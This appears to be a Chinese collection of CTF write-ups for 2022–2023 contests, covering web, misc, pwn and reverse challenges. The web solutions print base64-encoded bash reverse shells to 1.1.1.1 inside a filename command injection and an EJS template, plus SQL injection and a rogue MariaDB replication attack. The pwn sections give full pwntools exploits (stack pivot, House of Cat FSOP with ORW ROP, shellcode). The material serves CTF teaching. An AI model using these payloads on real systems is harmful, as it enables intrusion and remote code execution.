WEB
在线解压(2023国赛 华北赛区)
下载源码,审计POST路由,其中savepath可控且无过滤,直接闭合命令执行即可
命令注入点在上传的文件名,由于文件名不能包含/
等特殊字符,所以需要把反弹shell的命令base64编码一下:
a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`#
完整请求包如下:
POST / HTTP/1.1
Host: 1.1.1.1:12345
Content-Length: 277
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLtw6UwBXBsZ5zrtu
------WebKitFormBoundaryLtw6UwBXBsZ5zrtu
Content-Disposition: form-data; name="file"; filename="a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`#"
Content-Type: image/jpeg
asdasd
------WebKitFormBoundaryLtw6UwBXBsZ5zrtu--
附:上传文件请求包
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>POST传输数据包</title>
</head>
<body>
<form action="http://1.1.1.1:12345/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
卫继龚的博客——1(2023WMCTF)
下载题目附件,分析app.js
32-135行的路由,用nodejs实现了werkzeug的console,类似于Flask里面的调试模式的console,不过这里需要鉴权才能进入console
在edit这个路由里,获取传入的id,并做查询, !/\d+/igm.test(id)
用于检查id是否包含一个或多个数字,所以还是可以注入的,只需要包含数字且不包含into、outfile、dumpfile即可
再看getPostById方法,这里直接对传入的id做拼接(在post.js)
直接传/post/1'/edit
发现就可以注入
前面提到的鉴权,它的pin在程序启动的时候就被打印出来了
起个本地环境调试一下,发现主程序启动的日志在/home/ezblog/.pm2/logs/main-out.log中
题目过滤了into、outfile、dumpfile,但没过滤load_file,因此我们可以读文件拿pin:
/post/-1%20union%20select%201,2,load_file(0x2f686f6d652f657a626c6f672f2e706d322f6c6f67732f6d61696e2d6f75742e6c6f67)/edit
拿到pin之后,访问/console登录即可
console里面执行Python的终端是个摆设,不过我们能执行SQL,也能渲染模板 所以接下来的思路就是:
1. 利用SQL的general_log写文件到模板
2. 模板注入完成RCE
这里用general_log有个小坑,题目不带mysql数据库,不过我们自己创建一个即可(注意需要覆盖已有的ejs模板,不能新建ejs模板,否则会因为权限问题无法读取渲染模板):
CREATE DATABASE mysql;
CREATE TABLE mysql.general_log(
event_time timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
user_host mediumtext NOT NULL,
thread_id int(11) NOT NULL,
server_id int(10) unsigned NOT NULL,
command_type varchar(64) NOT NULL,
argument mediumtext NOT NULL
) ENGINE=CSV DEFAULT CHARSET=utf8 COMMENT='General log';
SET GLOBAL general_log_file='/home/ezblog/views/post.ejs';
SET GLOBAL general_log='on';
SELECT "<% global.process.mainModule.require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzI5OTk5IDA+JjE=}|base64 -d|bash'); %>";
卫继龚的博客——2(2023WMCTF)
这道题,前半部分拿pin的过程和上一题一样,但这道题无法通过设置general_log_file实现文件写入
虽然这题设置了views目录下文件的权限,但是views目录依然是可写的
child_process.execSync("chmod -R 444 /home/ezblog/views/*")
无法直接通过题目提供的SQL console执行命令,考虑主从复制(攻击者恶意的vps为主,题目靶机为从)
完整的打法如下:
在远程vps上启动一个和题目一样版本的MariaDB:
root密码设置为123456
容器名字设置为some-mariadb,后面会用到这个容器名字(当然直接用容器ID也行,这里为了WriteUp的完整性就设置了估计容器名字)
把内部的3306端口映射到外部53306端口
docker run -it -d --name some-mariadb --env MARIADB_USER=ctf --env MARIADB_PASSWORD=ctf --env MARIADB_ROOT_PASSWORD=123456 -p 53306:3306 mariadb:10.9.8
进入容器内部,执行一下命令换源并安装vim命令,方便后面改配置
sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list
apt update
apt install -y vim
修改/etc/mysql/mariadb.conf.d/50-server.cnf文件,添加以下内容,开启binlog
server_id = 100secure_file_priv = log-bin = mysql-binbinlog_format = MIXED
重启容器,使上方配置生效
docker restart some-mariadb
进入容器,执行以下命令:
1. 进入mysql终端
2. 关闭主服务器的CRC32校验
3. 删除所有二进制日志
4. 创建一个数据库
5. 创建一个表
6. 插入一个值
mysql -uroot -p123456set global binlog_checksum=0;reset master;create database test;create table test.employees( id INT, name VARCHAR(100), age INT);use test;INSERT INTO employees(id, name, age) VALUES(1,"1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111",1);
这里创建表,插入字段的原因是,binlog只会记录INSERT、UPDATE、DELETE等修改数据的语句,不会记录SELECT、SHOW等不影响数据的语句 INSERT语句的长度,需要与SELECT语句的长度一样,这里的SELECT语句写入模板文件
INSERT INTO employees(id, name, age) VALUES(1,"1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111",1);SELECT "<%= global.process.mainModule.require('child_process').execSync('/readflag').toString(); %>" into outfile "/home/ezblog/views/114.ejs";
我们可以在/var/lib/mysql目录中看到生成的mysql-bin.000001
将该文件从容器中复制出来,下载到本地修改
docker cp some-mariadb:/var/lib/mysql/mysql-bin.000001 .
在本地使用010 Editor修改,下图为修改前的文件内容
下图为修改后的文件内容
把修改之后的文件复制到原本的位置
docker cp mysql-bin.000001 some-mariadb:/var/lib/mysql/mysql-bin.000001
在题目靶机的SQL console执行以下命令:
创建mysql数据库
创建主从复制所需用到的表
设置题目靶机的主服务器地址及账号密码
启动主从复制
CREATE DATABASE mysql;CREATE TABLE mysql.gtid_slave_pos ( `domain_id` int(10) unsigned NOT NULL, `sub_id` bigint(20) unsigned NOT NULL, `server_id` int(10) unsigned NOT NULL, `seq_no` bigint(20) unsigned NOT NULL, PRIMARY KEY (`domain_id`,`sub_id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Replication slave GTID position';CHANGE MASTER TO MASTER_HOST='1.1.1.1', MASTER_PORT=53306, MASTER_USER='root', MASTER_PASSWORD='123456', MASTER_LOG_FILE='mysql-bin.000001', MASTER_LOG_POS=0;START SLAVE;
在启动主从复制之后,题目靶机会同步mysql-bin.000001并执行里面的SQL语句,此时我们的恶意模板就写到了指定位置,再解析该模板即可执行任意命令,得到flag
MISC
万能和弦(2022强网杯 青少年赛道)
图片不能正常打开
用010editor打开文件,发现是一大堆密文
去我常用的在线网站解密,这个网站可以自动转很多格式,很方便,在ascii码界面可以看到,是png开头的,但是顺序不对
https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html
我们全选16进制,复制,然后打开010editor,新建一个十六进制文件,快捷键为ctrl+shift+n,然后按ctrl+shift+v粘贴进去
可以发现这个文件头很奇怪,png文件头为
89 50 4E 47 0D 0A 1A 0A
这里文件里的每两个十六进制都交换了顺序
#!/bin/python3
with open('1.png','rb') as f:
r = f.read()
n = b''
with open('2.png','wb') as fo:
for i in range(0,len(r),2):
n+=r[i:i+2][::-1]
fo.write(n)
运行脚本,得到一个2.png
打开图片获得提示,密钥就是音乐的财富密码
在比赛的时候也没多想,就按常规的都试了一边,发现图片里没有隐藏其他的文件夹,图片的十六进制也正常,exif信息也没有,然后就该尝试lsb隐写了
根据题目和图片提示,万能和弦就是图片的密码,我使用以下工具解题,这个工具可以提取隐藏数据
https://github.com/livz/cloacked-pixel
命令
python2 lsb.py extract 2.png out 4536251 //提取2.png图片,输出文件名为out,密码为4536251
比赛时试了很多万能和弦,终于成功了
放轻松(2022西湖论剑)
真加密,爆破密码无果,尝试明文攻击
对dasflow.pcapng明文攻击,失败
根据文件名猜测另一个加密文件dasflow.zip里面的文件就是dasflow.pcapng,根据这一猜测,对dasflow.zip进行明文攻击
得到密钥2b7d78f3 0ebcabad a069728c
,解密得到流量包
foremost可以得到一个加密的压缩包,根据后面TCP流分析应该对应是最后一段的flag.zip,通过导出http也可以得到
追踪TCP流,观察发现是典型的哥斯拉加密
加密逻辑很简单就是一个带key的异或,根据异或的可逆性,加密脚本同时也是解密脚本,一开始直接解会乱码
参考哥斯拉还原加密流量_u011250160的博客后得知只需要加个gzdecode即可
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
echo gzdecode(encode(base64_decode(urldecode('J%2B5pNzMyNmU2mij7dMD%2FqHMAa1dTUh6rZrUuY2l7eDVot058H%2BAZShmyrB3w%2FOdLFa2oeH%2FjYdeYr09l6fxhLPMsLeAwg8MkGmC%2BNbz1%2BkYvogF0EFH1p%2FKFEzIcNBVfDaa946G%2BynGJob9hH1%2BWlZFwyP79y4%2FcvxxKNVw8xP1OZWE3')),$key));
流37读取到了flag.zip,猜测流36是flag.zip的生成过程,解密得到flag.zip的解压密码airDAS1231qaSW@
,解压得到flag
隔离式机器内存分析(2022西湖论剑)
上手先imageinfo
然后看看进程
其中有几个有点可疑
VBoxTray.exe:类似vmtool
ClipboardMonitor:剪切板监控软件
mstsc.exe:远程桌面连接
于是可以先看看剪切板
得到一个公钥,先放着
-----BEGIN PUBLIC KEY-----
MFowDQYJKoZIhvcNAQEBBQADSQAwRgJBAIEZTxxle7+5rywC5byIuBkPhwkyv57R
756DUCD9i2MWYyUs0Acc6JZwyqVOmR74uMvreI2slle4Gy7Hl6PcXxECAQI=
-----END PUBLIC KEY-----
再看看截屏
volatility -f CharlieBrown-PC.elf --profile=Win7SP1x64 screenshot -D ./file/
可以看出窗口上一个地址,结合题目描述,这可能是与研发服务器之间的远程连接,netscan也证实了这一点
于是想到去找一找bmc文件看看能不能提取一些线索,结果找到是找到了,但是不能从里面提取出来东西
于是dump下mstsc.exe的内存,将其后缀改为data并用gimp打开,找个常见分辨率1280x720就开始调位移,结果看到这样一幅图
说是找的东西不在内存里,emmm不好说
接下来看看hint,第一条hint给了一张图片,似乎是vbox显示器和显卡的一些配置
?显卡?!显存!
根据hint3可以使用volatility的vboxinfo插件找到该内存中显存的位置
于是可以找到显存在内存文件中的偏移0xdffcda2c=3757890092以及大小0x2000000=33554432,用dd命令提取一下
dd if=CharlieBrown-PC.elf of=vram skip=3757890092 bs=1 count=33554432
这样得到的就是显存,显存里面的则是图像数据,结合hint所给的1440x900的分辨率以及32的位深度,写个脚本还原下原图
from PIL import Image
width = 1440
height = 900
flag = open('vram','rb').read()
def makeSourceImg():
img = Image.new('RGBA', (width, height))
x = 0
for i in range(height):
for j in range(width):
img.putpixel((j, i), (flag[x], flag[x + 1], flag[x + 2],flag[x+3]))
x += 4
return img
img = makeSourceImg()
img.save('1.png')
哈哈成功了
这下就知道了flag的加密算法,使用上面的公钥解密就好了
c:451471540081589674653974518512438308733093273213393434162105049845933212224386755831134427109878720380821421287108607669893882611307516611482749725279433
e:2
n:6761456110411637567688581808417563265129495172728559363264959694161676396727177452588827048488546653264235848263182009106217734439508352645687684489830161
得到pq
p:79346858353882639199177956883793426898254263343390015030885061293456810296567
q:85213910804835068776008762162103815863113854646656693711835550035527059235383
解密
import gmpy2
def rabin_decrypt(c, p, q, e=2):
n = p * q
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
yp = gmpy2.invert(p, q)
yq = gmpy2.invert(q, p)
r = (yp * p * mq + yq * q * mp) % n
rr = n - r
s = (yp * p * mq - yq * q * mp) % n
ss = n - s
return (r, rr, s, ss)
c = 451471540081589674653974518512438308733093273213393434162105049845933212224386755831134427109878720380821421287108607669893882611307516611482749725279433
p = 79346858353882639199177956883793426898254263343390015030885061293456810296567
q = 85213910804835068776008762162103815863113854646656693711835550035527059235383
m = rabin_decrypt(c,p,q)
for i in range(4):
try:
print(bytes.fromhex(hex(m[i])[2:]))
except:
pass
PWN
加油!💪(2023HDCTF)
__int64 vuln()
{
char s[80]; // [rsp+0h] [rbp-50h] BYREF
memset(s, 0, sizeof(s));
puts("please show me your name: ");
read(0, s, 0x48uLL);
printf("hello,");
printf(s);
puts("keep on !");
read(0, s, 0x60uLL);
return 0LL;
}
格式化字符串漏洞与栈溢出漏洞。溢出后只能覆盖返回地址,因此存在两种解法:
格式化字符串 与 栈迁移
先计算出我们的RBP
偏移。
使用%16$p
即可获取rbp。
io.recvuntil(b'name: \n')
fmtpayload = b'%16$p'
io.send(fmtpayload)
io.recvuntil(b'hello,0x')
old_rbp = int(io.recv(12),16)
rbp与s的距离为0x60,再减去0x08的返回地址,就得到了我们的目标迁移地址。
也就是:
Target_Addr = old_rbp - 0x60 - 0x08
这样我们就得到了我们的目标地址,可以开始构建我们的Payload了。
我们只有0x60的大小构建Payload。
我们首先需要一个pop rdi, ret来将/bin/sh的地址pop进栈中作为system函数的参数。
然后就是我们的/bin/sh地址。由于我们最终的构想是getshell,因此我们需要这样构造Payload:
Payload = p64(rdi)
Payload += p64(Target_Addr + 0x8 + 0x18)
Payload += p64(system)
Payload += b'/bin/sh\x00'
我们首先将/bin/sh的地址送入rdi寄存器中,然后再继续接下来的操作。
我们将Payload填充到0x50大小,因为0x50是s的大小。剩下的0x10则是我们的RBP与Leave, Return指令。
/bin/sh的地址为什么是Target_Addr + 0x8 + 0x18是因为Target_Addr指向rdi,0x08 + 0x18 也就是0x20代表第四个数据,也就是b’/bin/sh\x00’。
下面是完整exp
from PwnModules import *
io = process('./hdctf')
#io = remote('node4.anna.nssctf.cn', 28031)
elf = ELF('./hdctf')
context(arch='amd64', os='linux', log_level='debug')
io.recvuntil(b'name: \n')
fmtpayload = b'%16$p'
io.send(fmtpayload)
io.recvuntil(b'hello,0x')
old_rbp = int(io.recv(12), 16)
log.success('RBP Addr: ' + (hex(old_rbp)))
leave_ret = 0x4007F2
rdi = 0x4008D3
system = elf.plt['system']
Target_Addr = old_rbp - 0x60 - 0x08
# RDI will pop binsh addr as system's arg
# Offset : 0x08
Payload = p64(rdi)
# Offset : 0x08 + 0x08
Payload += p64(Target_Addr + 0x8 + 0x18)
# Offset : 0x08 + 0x10
Payload += p64(system)
# Offset : 0x08 + 0x18
Payload += b'/bin/sh\x00'
# Fill the Payload to 0x50.
Payload = Payload.ljust(0x50, b'\x00')
# The Leave Ret cmd's ret addr.
Payload += p64(Target_Addr)
# The Leave Ret
Payload += p64(leave_ret)
io.recvuntil(b'keep on !\n')
io.send(Payload)
io.interactive()
家居の小猫🐱(2022强网杯 初赛)
该手法主要是利用偏移vtable,和house of kiwi类似的触发手法,导致最后有一条调用链,在下面解题当中细说
'[*] '/home/peiwithhao/Downloads/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
题目版本为glibc-2.35,题目逆向方面,漏洞即为uaf,且修改部分限制了只有两次,且限制了题目申请的堆块大小,只能申请到部分largebin,所以题目中我们采用两次largebin attack进行地址任意写
void delete()
{
unsigned __int64 num; // [rsp+8h] [rbp-8h]
my_write("plz input your cat idx:\n");
num = (unsigned int)get_num();
if ( num <= 0xF && *((_QWORD *)&chunk_ptr + num) )
free(*((void **)&chunk_ptr + num));
else
my_write("invalid!\n");
}
首先我们第一次写stderr指针内容为我们堆块上的一个地址,这样我们就可以创建一个虚假的_IO_2_1_stderr
,因此我们也可以修改其vtable的指针,但是由于高版本IO的限制,其中对于vtable的地址需要处于一定段之中,但是对于其中的具体地址却检查的并不细致,所以我们可以对于其中vtable的指针进行一个偏移,这里我们如果将stderr指向的结构体中vtable变为_IO_wfile_jumps+0x10
,那么本该调用__xsputn
就会调用到__seekoff
/* offset | size */ type = struct _IO_jump_t {
/* 0 | 8 */ size_t __dummy;
/* 8 | 8 */ size_t __dummy2;
/* 16 | 8 */ _IO_finish_t __finish;
/* 24 | 8 */ _IO_overflow_t __overflow;
/* 32 | 8 */ _IO_underflow_t __underflow;
/* 40 | 8 */ _IO_underflow_t __uflow;
/* 48 | 8 */ _IO_pbackfail_t __pbackfail;
/* 56 | 8 */ _IO_xsputn_t __xsputn;
/* 64 | 8 */ _IO_xsgetn_t __xsgetn;
/* 72 | 8 */ _IO_seekoff_t __seekoff;
/* 80 | 8 */ _IO_seekpos_t __seekpos;
/* 88 | 8 */ _IO_setbuf_t __setbuf;
/* 96 | 8 */ _IO_sync_t __sync;
/* 104 | 8 */ _IO_doallocate_t __doallocate;
/* 112 | 8 */ _IO_read_t __read;
/* 120 | 8 */ _IO_write_t __write;
/* 128 | 8 */ _IO_seek_t __seek;
/* 136 | 8 */ _IO_close_t __close;
/* 144 | 8 */ _IO_stat_t __stat;
/* 152 | 8 */ _IO_showmanyc_t __showmanyc;
/* 160 | 8 */ _IO_imbue_t __imbue;
而house of cat就是利用到了调用到了__seekoff,从源码我们可以查看
首先就是借鉴house of kiwi的思想,触发__malloc_assert
来进行利用,然后会调用
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
fflush(stderr)
,这里如果我们修改了stderr,就会触发我们想要的过程,如下
int _IO_fflush (FILE *fp)
{
if (fp == NULL)
return _IO_flush_all ();
else
{
int result;
CHECK_FILE (fp, EOF);
_IO_acquire_lock (fp);
result = _IO_SYNC (fp) ? EOF : 0;
_IO_release_lock (fp);
return result;
}
}
这里调用链如下:
__malloc_assert
__fxprintf
__vfxprintf
__locked_vfxprintf
__vfwprintf_internal
locked_vfxprintf (FILE *fp, const char *fmt, va_list ap,
unsigned int mode_flags)
{
if (_IO_fwide (fp, 0) <= 0)
return __vfprintf_internal (fp, fmt, ap, mode_flags);
/* We must convert the narrow format string to a wide one.
Each byte can produce at most one wide character. */
wchar_t *wfmt;
mbstate_t mbstate;
int res;
int used_malloc = 0;
size_t len = strlen (fmt) + 1;
if (__glibc_unlikely (len > SIZE_MAX / sizeof (wchar_t)))
{
__set_errno (EOVERFLOW);
return -1;
}
if (__libc_use_alloca (len * sizeof (wchar_t)))
wfmt = alloca (len * sizeof (wchar_t));
else if ((wfmt = malloc (len * sizeof (wchar_t))) == NULL)
return -1;
else
used_malloc = 1;
memset (&mbstate, 0, sizeof mbstate);
res = __mbsrtowcs (wfmt, &fmt, len, &mbstate);
if (res != -1)
res = __vfwprintf_internal (fp, wfmt, ap, mode_flags);
if (used_malloc)
free (wfmt);
return res;
}
执行到__vfwprintf_internal
的时候,按照正常情况最终会调用vtable指针的xsputn指针,但是如果我们对其进行了一个小偏移,例如0x10,那么他就会调用seekoff指针,
而如果我们修改vtable为_IO_wfile_jumps
,那么就会调用到_IO_wfile_jumps
函数
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
其中开头有这样一段函数
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;
/* Short-circuit into a separate function. We don't want to mix any
functionality and we don't want to touch anything inside the FILE
object. */
if (mode == 0)
return do_ftell_wide (fp);
/* POSIX.1 8.2.3.7 says that after a call the fflush() the file
offset of the underlying file must be exact. */
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));
bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));
if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
...
其中若通过了一定检测则会调用到_IO_switch_to_wget_mode
函数,如下:
int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
...
而这里通过源码的调试实际上会调用到我们rax+0x18
的地址,这里我们可以通过之前fake IO的构造来写入setcontext+61或者system,
► 0x7f273d283d30 <_IO_switch_to_wget_mode> endbr64
0x7f273d283d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7f273d283d3b <_IO_switch_to_wget_mode+11> push rbx
0x7f273d283d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi
0x7f273d283d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f273d283d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7f273d283d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>
0x7f273d283d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f273d283d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff
0x7f273d283d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
可以看到最后的一条汇编是直接的call指令,且此时的rax我们是指向的fake IO中我们布置的_wide_data
的,这里同样重要是因为在上面我们需要绕过的检测基本上都会有他
调用链完整版如下:
__malloc_assert
__fxprintf
__vfxprintf
__locked_vfxprintf
__vfwprintf_internal
_IO_wfile_seekoff
_IO_switch_to_wget_mode
exp如下:
from pwn import *
from ctypes import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']
s = lambda content : io.send(content)
sl = lambda content : io.sendline(content)
sa = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc = lambda number : io.recv(number)
ru = lambda content : io.recvuntil(content)
rcl = lambda : io.recvline()
def slog(name, address): print("\033[40;34m[+]\033[40;35m" + name + "==>" +hex(address) + "\033[0m")
def debug(cmd = 0):
if cmd == 0:
gdb.attach(io)
else:
gdb.attach(io, cmd)
def get_address(mode = 0):
if mode == 0:
return u64(ru('\x7f')[-6:].ljust(8, b'\x00'))
elif mode == 1:
return u64(rc(6).ljust(8, b'\x00'))
elif mode == 2:
return int(rc(12), 16)
elif mode == 3:
return int(rc(16), 16)
else :
return 0
def choice(type_flag, content):
sla("~~\n", type_flag + b" | r00t bbbQWBaaaaa" + content + b"QWXFdsfsfds")
def add(index, size, content):
choice(b"CAT", b'\xff\xff\xff\xff' + b"$")
sla("choice:\n", "1")
sla("idx:\n", str(index))
sla("size:\n", str(size))
sa("content:\n", content)
def delete(index):
choice(b"CAT", b"\xff\xff\xff\xff$")
sla("choice:\n", "2")
sla("idx:\n", str(index))
def show(index):
choice(b"CAT", b"\xff\xff\xff\xff$")
sla("choice:\n", "3")
sla("idx:\n", str(index))
def mini(index, content):
choice(b"CAT", b"\xff\xff\xff\xff$")
sla("choice:\n", "4")
sla("idx:\n", str(index))
sa("content:\n", content)
io = process("./pwn")
#io = remote("node5.anna.nssctf.cn",28522)
choice(b"LOGIN", b"admin")
# leak the libc and heap addr
add(0, 0x428, "hllllll")
add(1, 0x438, "helloworld")
add(2, 0x418, "fasdfas")
delete(0)
add(3, 0x438, "mew mew mew")
show(0)
libc_base = get_address() - 0x21a0d0
show(0)
ru('text:\n')
rc(0x10)
heap_base = get_address(1) - 0x290
slog("libc_base", libc_base)
slog("heap_base", heap_base)
libc = ELF("./libc.so.6")
pop_rax = libc_base + 0x45eb0
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_r12 = libc_base + 0x11f497
pop_rcx = libc_base + 0x8c6bb
syscall_ret = libc_base + next(libc.search(asm("syscall;ret")))
stderr_addr = libc_base + libc.sym['stderr']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
setcontext_addr = libc_base + libc.sym['setcontext']
close_addr = libc_base + libc.sym['close']
main_arena = libc_base
ret = libc_base + 0x29cd6
slog("main_arena", main_arena)
slog("stderr_addr", stderr_addr)
# largebin attack 1: modify the stderr ptr to point our heap
fake_IO_addr = heap_base + 0xb00
fake_IO_FILE = p64(0)*6
fake_IO_FILE += p64(1) + p64(0) #_IO_buf_end & _IO_save_base | .widedata->write_base
fake_IO_FILE += p64(fake_IO_addr + 0xb0) #_IO_backup_base_ || .widedata->write_pt
fake_IO_FILE += p64(setcontext_addr + 61)
fake_IO_FILE = (fake_IO_FILE).ljust(0x58, b'\x00') #offset of _chain
fake_IO_FILE += p64(0) #_chain
fake_IO_FILE = (fake_IO_FILE).ljust(0x78, b'\x00') #offset of lock
fake_IO_FILE += p64(heap_base + 0x200) #lock = writeble address
fake_IO_FILE = (fake_IO_FILE).ljust(0x90, b'\x00') #offset of widedata
fake_IO_FILE += p64(heap_base + 0xb30) #rax1
fake_IO_FILE = (fake_IO_FILE).ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1) #_mode = 1
fake_IO_FILE = (fake_IO_FILE).ljust(0xc8, b'\x00') #offset of vtable
fake_IO_FILE += p64(libc_base + 0x2160c0 + 0x10) #vtable = _IO_wfile_jumps
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_IO_addr + 0x40) #rax2
payload1 = fake_IO_FILE + p64(0)*7
payload1 += p64(heap_base + 0x24a0) + p64(ret) #fake heap rsp && rcx
fake_head = p64(libc_base + 0x21a0d0)*2 + p64(heap_base + 0x290) + p64(stderr_addr - 0x20)
mini(0, fake_head)
delete(2)
add(5, 0x418, payload1)
delete(5)
add(6, 0x438, "nihao")
# largebin attack 2: modify the top chunk ptr
fake_head = p64(libc_base + 0x21a0e0)*2 + p64(heap_base + 0x2040) + p64(heap_base + 0x2d50 + 0x3 - 0x20)
add(7, 0x438, "small")
add(8, 0x458, "./flag")
add(9, 0x448, "big")
orw = p64(pop_rdi) + p64(0) + p64(close_addr)
orw += p64(pop_rdi) + p64(heap_base + 0x1bf0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret)
orw += p64(pop_rdi) + p64(0) + p64(pop_rsi) +p64(heap_base + 0x200) + p64(pop_rdx_r12) + p64(0x30)*2+ p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx_r12) + p64(0x30)*2+ p64(write_addr)
add(10, 0x458, orw)
debug()
delete(9)
add(11, 0x458, "hole_10")
mini(9, fake_head)
delete(7)
choice(b"CAT", b'\xff\xff\xff\xff' + b"$")
sla("choice:\n", "1")
sla("idx:\n", str(12))
sla("size:\n", str(0x458))
flag_txt = ru("}")
print(flag_txt)
io.interactive()
随机数(2023GDOUCTF)
发现了 call rsi; 指令,于是再次调用 read 将 orw_shellcode 读入并执行
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node2.anna.nssctf.cn', 28519)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0))
#gdb.attach(p, 'b *0x400949')
call_rsi = 0x400c23
shellcode = asm('xor rax, rax; xor rdi, rdi; push 0x100; pop rdx; add rsi, 0x100; syscall; call rsi;')
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read('rax', elf.bss() + 0x100, 0x30) + shellcraft.write(1, elf.bss() + 0x100, 0x30))
sla(b'num:\n', str(libc.rand()%50))
sa(b'door\n', shellcode.ljust(0x28, b'\x00') + p64(call_rsi))
sleep(2)
s(orw_shellcode)
#pause()
pr()
REVERSE
幽灵许可证
点击这里看英文题解
请喝咖啡
点击这里看英文题解
你,没有问题
调试下来,首先会对我们的输入做一个字符串的拼接,拼接后的字符串如下:
there_are_a_lot_useless_information_but_oh.o0O__you_get_itthere_are_a_lot_useless_information_but_oh.o0O_111111111111111111111111111111111111111111_you_get_it
然后会对整个字符串的长度做一个检查是否为100,之后进入处理字符串的核心函数sub_4051A0。sub_4051A0函数先做一个密文的初始化和赋值,然后每次对拼接的字符串的10个字符进行检测,一共进行10次检测。
WP如下:
import z3
